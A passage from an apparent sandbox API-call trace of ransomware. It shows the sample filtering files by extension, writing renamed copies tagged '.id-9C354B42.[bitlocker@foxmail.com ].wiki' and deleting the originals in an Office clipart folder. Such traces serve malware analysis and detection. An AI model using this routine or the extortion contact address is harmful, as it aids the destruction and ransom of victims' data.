Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.752] lstrlenW (lpString=".doc") returned 4 [0196.752] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.752] lstrlenW (lpString=".docx") returned 5 [0196.752] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.752] lstrlenW (lpString=".pdf") returned 4 [0196.752] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.752] lstrlenW (lpString=".xls") returned 4 [0196.752] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.752] lstrlenW (lpString=".xlsx") returned 5 [0196.752] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.752] lstrlenW (lpString=".ppt") returned 4 [0196.752] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.752] lstrlenW (lpString=".zip") returned 4 [0196.752] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.752] lstrlenW (lpString=".rar") returned 4 [0196.752] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.752] lstrlenW (lpString=".bz2") returned 4 [0196.753] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.753] lstrlenW (lpString=".7z") returned 3 [0196.753] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString=".dbf") returned 4 [0196.753] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString=".1cd") returned 4 [0196.753] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString=".jpg") returned 4 [0196.753] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString=".doc") returned 4 [0196.753] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.753] lstrlenW (lpString=".docx") returned 5 [0196.753] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.753] lstrlenW (lpString=".pdf") returned 4 [0196.753] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.753] lstrlenW (lpString=".xls") returned 4 [0196.753] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.753] lstrlenW (lpString=".xlsx") returned 5 [0196.753] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.753] lstrlenW (lpString=".ppt") returned 4 [0196.753] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.753] lstrlenW (lpString=".zip") returned 4 [0196.753] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.754] lstrlenW (lpString=".rar") returned 4 [0196.754] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.754] lstrlenW (lpString=".bz2") returned 4 [0196.754] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.754] lstrlenW (lpString=".7z") returned 3 [0196.754] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.754] lstrlenW (lpString=".dbf") returned 4 [0196.754] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.754] lstrlenW (lpString=".1cd") returned 4 [0196.754] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.754] lstrlenW (lpString=".jpg") returned 4 [0196.754] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.754] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.754] lstrlenW (lpString="J0150861.WMF") returned 12 [0196.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.755] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8494) returned 1 [0196.755] CloseHandle (hObject=0x1e4) returned 1 [0196.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0196.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.755] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.755] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.756] GetLastError () returned 0x0 [0196.756] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x212e, lpOverlapped=0x0) returned 1 [0196.767] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0196.768] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.768] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.768] SetEndOfFile (hFile=0x200) returned 1 [0196.768] CloseHandle (hObject=0x200) returned 1 [0196.768] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.768] SetEndOfFile (hFile=0x1e4) returned 1 [0196.769] CloseHandle (hObject=0x1e4) returned 1 [0196.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0196.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.769] lstrlenW (lpString=".doc") returned 4 [0196.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.769] lstrlenW (lpString=".docx") returned 5 [0196.769] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.769] lstrlenW (lpString=".pdf") returned 4 [0196.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.769] lstrlenW (lpString=".xls") returned 4 [0196.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.769] lstrlenW (lpString=".xlsx") returned 5 [0196.769] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.769] lstrlenW (lpString=".ppt") returned 4 [0196.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString=".zip") returned 4 [0196.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.770] lstrlenW (lpString=".rar") returned 4 [0196.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString=".bz2") returned 4 [0196.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString=".7z") returned 3 [0196.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString=".dbf") returned 4 [0196.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString=".1cd") returned 4 [0196.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString=".jpg") returned 4 [0196.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.770] lstrlenW (lpString=".doc") returned 4 [0196.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString=".docx") returned 5 [0196.770] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.770] lstrlenW (lpString=".pdf") returned 4 [0196.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.770] lstrlenW (lpString=".xls") returned 4 [0196.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.844] lstrlenW (lpString=".xlsx") returned 5 [0196.844] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.844] lstrlenW (lpString=".ppt") returned 4 [0196.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.844] lstrlenW (lpString=".zip") returned 4 [0196.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.844] lstrlenW (lpString=".rar") returned 4 [0196.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.844] lstrlenW (lpString=".bz2") returned 4 [0196.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.853] lstrlenW (lpString=".7z") returned 3 [0196.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.854] lstrlenW (lpString=".dbf") returned 4 [0196.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.854] lstrlenW (lpString=".1cd") returned 4 [0196.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0196.862] lstrlenW (lpString=".jpg") returned 4 [0196.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.862] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.870] lstrlenW (lpString="J0151581.WMF") returned 12 [0196.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.879] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10752) returned 1 [0196.880] CloseHandle (hObject=0x1e4) returned 1 [0196.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0196.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.880] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.880] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.880] GetLastError () returned 0x0 [0196.880] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2a00, lpOverlapped=0x0) returned 1 [0196.882] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2a10, lpOverlapped=0x0) returned 1 [0196.883] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.883] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.883] SetEndOfFile (hFile=0x200) returned 1 [0196.883] CloseHandle (hObject=0x200) returned 1 [0196.883] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.883] SetEndOfFile (hFile=0x1e4) returned 1 [0196.884] CloseHandle (hObject=0x1e4) returned 1 [0196.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString=".doc") returned 4 [0196.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString=".docx") returned 5 [0196.885] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.885] lstrlenW (lpString=".pdf") returned 4 [0196.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString=".xls") returned 4 [0196.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.885] lstrlenW (lpString=".xlsx") returned 5 [0196.885] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.885] lstrlenW (lpString=".ppt") returned 4 [0196.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString=".zip") returned 4 [0196.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.885] lstrlenW (lpString=".rar") returned 4 [0196.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString=".bz2") returned 4 [0196.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString=".7z") returned 3 [0196.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString=".dbf") returned 4 [0196.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString=".1cd") returned 4 [0196.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.885] lstrlenW (lpString=".jpg") returned 4 [0196.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString=".doc") returned 4 [0196.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString=".docx") returned 5 [0196.886] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.886] lstrlenW (lpString=".pdf") returned 4 [0196.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString=".xls") returned 4 [0196.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.886] lstrlenW (lpString=".xlsx") returned 5 [0196.886] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.886] lstrlenW (lpString=".ppt") returned 4 [0196.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString=".zip") returned 4 [0196.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.886] lstrlenW (lpString=".rar") returned 4 [0196.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString=".bz2") returned 4 [0196.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString=".7z") returned 3 [0196.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString=".dbf") returned 4 [0196.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString=".1cd") returned 4 [0196.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0196.886] lstrlenW (lpString=".jpg") returned 4 [0196.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.887] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.887] lstrlenW (lpString="J0152432.WMF") returned 12 [0196.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.887] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16492) returned 1 [0196.887] CloseHandle (hObject=0x1e4) returned 1 [0196.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0196.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.888] GetLastError () returned 0x0 [0196.888] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x406c, lpOverlapped=0x0) returned 1 [0196.890] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4070, lpOverlapped=0x0) returned 1 [0196.891] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.891] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.891] SetEndOfFile (hFile=0x200) returned 1 [0196.891] CloseHandle (hObject=0x200) returned 1 [0196.891] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.891] SetEndOfFile (hFile=0x1e4) returned 1 [0196.892] CloseHandle (hObject=0x1e4) returned 1 [0196.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString=".doc") returned 4 [0196.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString=".docx") returned 5 [0196.893] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0196.893] lstrlenW (lpString=".pdf") returned 4 [0196.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString=".xls") returned 4 [0196.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.893] lstrlenW (lpString=".xlsx") returned 5 [0196.893] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0196.893] lstrlenW (lpString=".ppt") returned 4 [0196.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft 